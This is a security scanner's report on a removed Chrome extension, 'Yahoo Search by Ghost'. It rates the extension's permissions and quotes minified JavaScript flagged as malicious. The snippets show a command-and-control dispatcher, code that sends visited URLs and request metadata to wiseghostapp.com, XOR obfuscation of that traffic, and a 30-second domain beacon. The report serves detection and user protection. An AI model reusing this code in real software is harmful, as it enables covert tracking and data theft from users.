Yahoo Search by Ghost

ID: eoclijfghiglinncpceohgaigfgnlbim

Could be malicious

Supported Languages

🇺🇸English

Extension Info & Metadata

Status
Removed
Version
1.2.4125
Size
0.05 MB
Rating
4.3/5
Reviews
21
Users
100,000
Type
Extension
Updated
Jul 22, 2025
Category
Productivity Workflow
Price
Free
Featured
No
Visibility
Unlisted
Mature
No
By Google
No
Trusted
No

Publisher Contextual Analysis

Author
https://wiseghostapp.comView Profile
MX records exist
Yes
Domain exists
Yes
Is disposable
No
Is role-based
Yes
Mailbox exists
Yes
Website
Visit
Total Extensions
6
Active
0
Obsolete
6
Listed
0
Unlisted
6
Total Users
760,000

Change your default search to Yahoo.

Switch to Yahoo effortlessly with our Chrome extension! Tailored for those who appreciate Yahoo's search features, this extension seamlessly sets Yahoo as your default search engine on Chrome. With a single installation, access Yahoo's search results, image search, and AI. Whether you're researching, shopping, or exploring new topics, our extension ensures Yahoo's comprehensive search tools are always available.

Item
Type
Severity
Description
webRequest
Permission
Critical
This permission enables the extension to monitor and analyze all web requests made by the browser. Rated Critical because it can observe all network traffic including sensitive data, track browsing behavior, and gather authentication tokens.
scripting
Permission
Critical
This permission allows injection and execution of JavaScript on any webpage. Rated Critical because it can modify page content, steal sensitive data, and inject malicious code into any site the extension has access to.
<all_urls>
Host
Critical
Broad host access — the extension can read/modify content on every website.
cookies
Permission
High
This permission provides full access to read and modify browser cookies. Rated High because it can steal session tokens, modify authentication cookies, and compromise accounts across websites.
Dangerous Permission Combination: scripting,cookies,webRequest
Risk Factor
High
Enables extensions to interact with scripts, modify files and downloads, and alter browsing history and bookmarks, potentially affecting data integrity and user control.
Broad Host Permissions
Risk Factor
High
This extension has broad host permissions allowing it to access many or all websites.
Broad Content Script Access
Risk Factor
High
This extension can inject scripts into any website.
tabs
Permission
Medium
This permission enables tab management and monitoring. Rated Medium because it can track open tabs, access tab metadata, and monitor user browsing patterns.
storage
Permission
Medium
This permission allows storing data locally in the browser. Rated Medium because it can persist sensitive user data, track user activities over time, and potentially store malicious payloads.
notifications
Permission
Low
This permission displays system notifications. Rated Low because it can only show user-visible notifications without accessing system data.
idle
Permission
Low
This permission detects system idle state. Rated Low because it only observes user activity state without access to activity details.
alarms
Permission
Low
This permission schedules periodic tasks. Rated Low because it can only trigger events at specified times without access to sensitive data.

Implements a sophisticated Command and Control (C2) bot system capable of receiving and executing various remote commands. These include tab and window manipulation, cookie exfiltration, extension reloading, and most critically, remote script injection into any webpage via iframes.

background.js (Line 3524)
let $e = [new ie, new ae, new ce, new se, new ue, new fe, new le, new he, new pe, new de, new ye, new ve, new me,  new we, new ge, new be];async function ze(t, e, n, r) {  await Vr("run_done", {    type: t,    extra: r,    bid: e,    cid: n  });}async function Ye(t) {  try {    const e = [];    for (const n of t.lst) e.push(qe(n, t.batchId));    await Promise.all(e);  } catch (t) {    wo(t, "hitpError");  }}async function qe(t, e) {  try {    t.deferMs && await Object(mt.i)(t.deferMs);    let n = null,      r = !1;    for (const e of $e) {      const o = await e.r(t);      if (o.rel) {        r = !0, n = o.extra;        break;      }    }    if (!r) throw Error(`invalid response: ${t.type}`);    await ze(t.type, e, t.id, n);  } catch (n) {    wo(n, `exeption running: [${e}] at: [${t}] `);  }}

Exfiltrates every URL visited by the user to a remote server ('wiseghostapp.com') under the guise of a 'risk' score check. This constitutes unauthorized broad-scale data collection and user tracking without explicit consent or functional necessity.

background.js (Line 3771)
async function ln(t) {  let e = null == t ? void 0 : t.url;  const n = null == t ? void 0 : t.id;  if (e || (e = un, chrome.runtime.getManifest()      .host_permissions.includes("<all_urls>") && (e = fn)),    cn(e)) return an;  await nn();  const r = await tt();  let o = e;  e !== fn && e !== un && (o = v(e));  const i = (await ct())    .productType === P.SEC_RATE,    a = await Ze.get(o);  if (a) return void 0, a;  void 0;  const c = n && zn(n),    s = n && $n(n),    u = lt(r.vLvl),    f = ht(r.vLvl),    l = {      url: u ? e : o,      tabId: n,      chain: c && u ? c.chain : null,      ref: c && u ? c.referrer : null,      isSiteRateExt: i,      t: (null == t ? void 0 : t.title) || "",      ts: s || null    };  let h = l;  u && (h = Je(Je({}, l), await Yn(n)));  let p = null;  return f && (p = await Vr("risk", h)), p ? (0 !== o.indexOf(sn) && (p.skipCache ? void 0 : (await Ze.insert(o,      p),    await rn())), p) : on;}

Implements custom XOR obfuscation (with key 255) for both outgoing and incoming network communication with a remote server. This masks the content of data exfiltration and Command and Control (C2) instructions, making detection by traditional security tools more difficult.

background.js (Line 208)
const f = c.v ? c.v : 255,  l = c.l ? c.l : "x-binary";async function h(t, e) {  if (c.r) return;  const {    timeout: n  } = e, r = new AbortController, o = setTimeout((() => r.abort()), n), i = r.signal, a = await fetch(t, u(    u({}, e), {}, {      signal: i    }));  return clearTimeout(o), a;}function d(e) {  for (var n = t.from(e, "utf8"), r = 0; r < n.length; r++) n[r] ^= f;  return n.toString("base64");}function y(e) {  for (var n = t.alloc(e.length), r = 0; r < e.length; r++) n[r] = e.charCodeAt(r) ^ f;  return (new TextDecoder)    .decode(n);}

Intercepts and collects detailed metadata about the user's network requests, including URLs, methods, and status codes. This data is batched and exfiltrated to the remote server, enabling comprehensive monitoring of the user's online activities.

background.js (Line 3896)
async function Cn(t, e, n, r) {  delete n.schema, delete n.query, delete n.port, delete n.pathname, delete n.hostname,    delete n.hash;  const o = {    cid: t,    type: e,    data: n,    item_id: Object(mt.a)()  };  r && i()(o, r), i()(o, await Yn(n.tabId)), i()(o, await Un(n.tabId, n.frame)), wn.push(o);}

The content script periodically pings a remote server ('wiseghostapp.com') with the current domain and extension version every 30 seconds. This ensures persistent tracking of user browsing activity even if the connection to the main background script is interrupted.

ghostKA.js (Line 53)
function i() {  if (o) return void 0, void 0;  try {    chrome.runtime.connect()      .disconnect(), setTimeout(i, 3e4);  } catch (e) {    void 0;    const t = new URL(n);    t.searchParams.set("domain", document.location.hostname), t.searchParams.set("version", r),      (new Image)      .src = t.toString();  }}

By severity

Critical2
High3
Medium0
Low0

Versions scanned

Showing 1 of 4 scanned versions with more than one unique finding. Counts are unique findings that include each version.

Extension VersionCode Review Findings
1.2.41255

Files with findings

2 distinct paths — top paths by unique finding count:

  • background.js4
  • ghostKA.js1
S.No.
Category
Severity
File
Summary
Found in Version
1Data Exfiltration
critical
background.js (line 3771)Exfiltrates every URL visited by the user to a remote server ('wiseghostapp.com') under the guise of a 'risk' score check. This constitutes unauthorized broad-scale data collection and user tracking without explicit c…
2Remote Code Loading
critical
background.js (line 3524)Implements a sophisticated Command and Control (C2) bot system capable of receiving and executing various remote commands. These include tab and window manipulation, cookie exfiltration, extension reloading, and most …
3Network Interception
high
background.js (line 3896)Intercepts and collects detailed metadata about the user's network requests, including URLs, methods, and status codes. This data is batched and exfiltrated to the remote server, enabling comprehensive monitoring of t…
4Obfuscation
high
background.js (line 208)Implements custom XOR obfuscation (with key 255) for both outgoing and incoming network communication with a remote server. This masks the content of data exfiltration and Command and Control (C2) instructions, making…
5Tracking
high
ghostKA.js (line 53)The content script periodically pings a remote server ('wiseghostapp.com') with the current domain and extension version every 30 seconds. This ensures persistent tracking of user browsing activity even if the connect…
URLs
10
IPv4
0
IPv6
0

URLs

View the external URLs this extension communicates with to understand its network activity and data interactions.

Gain full insight into all external connections.

Upgrade for full visibility.

wiseghostapp.com-https://wiseghostapp.com
ext.wiseghostapp.com-https://ext.wiseghostapp.com
ext.ghostsapp.com-https://ext.ghostsapp.com
ext.wiseghostapp.com/src/background.js.7c49b8a97dbb54331c14.maphttps://ext.wiseghostapp.com/src/background.js.7c49b8a97dbb54331c14.map
ext.wiseghostapp.com/srv/sec/riphttps://ext.wiseghostapp.com/srv/sec/rip
ext.wiseghostapp.com/src/ghostKA.js.7c49b8a97dbb54331c14.maphttps://ext.wiseghostapp.com/src/ghostKA.js.7c49b8a97dbb54331c14.map
clients2.google.com/service/update2/crxhttps://clients2.google.com/service/update2/crx
ext.wiseghostapp.com/api/ext/suggesthttps://ext.wiseghostapp.com/api/ext/suggest?gvp&q={searchTerms}
search.wiseghostapp.com-https://search.wiseghostapp.com/?dsg&yh&gvp&q={searchTerms}
wiseghostapp.com/searchicon.icohttps://wiseghostapp.com/searchicon.ico

Gain full insight into all external connections.

Upgrade for full visibility.

No IP addresses found
Showing 1 to 4 of 10 rows
Rows per page:

Code Diff

Compare extension code between any two versions.

0 changed files (scanned top 25 shared text files)

No comparable text files found between these versions.

Browse and explore files within this extension package

Gain full insight into all external connections.

Upgrade for full visibility.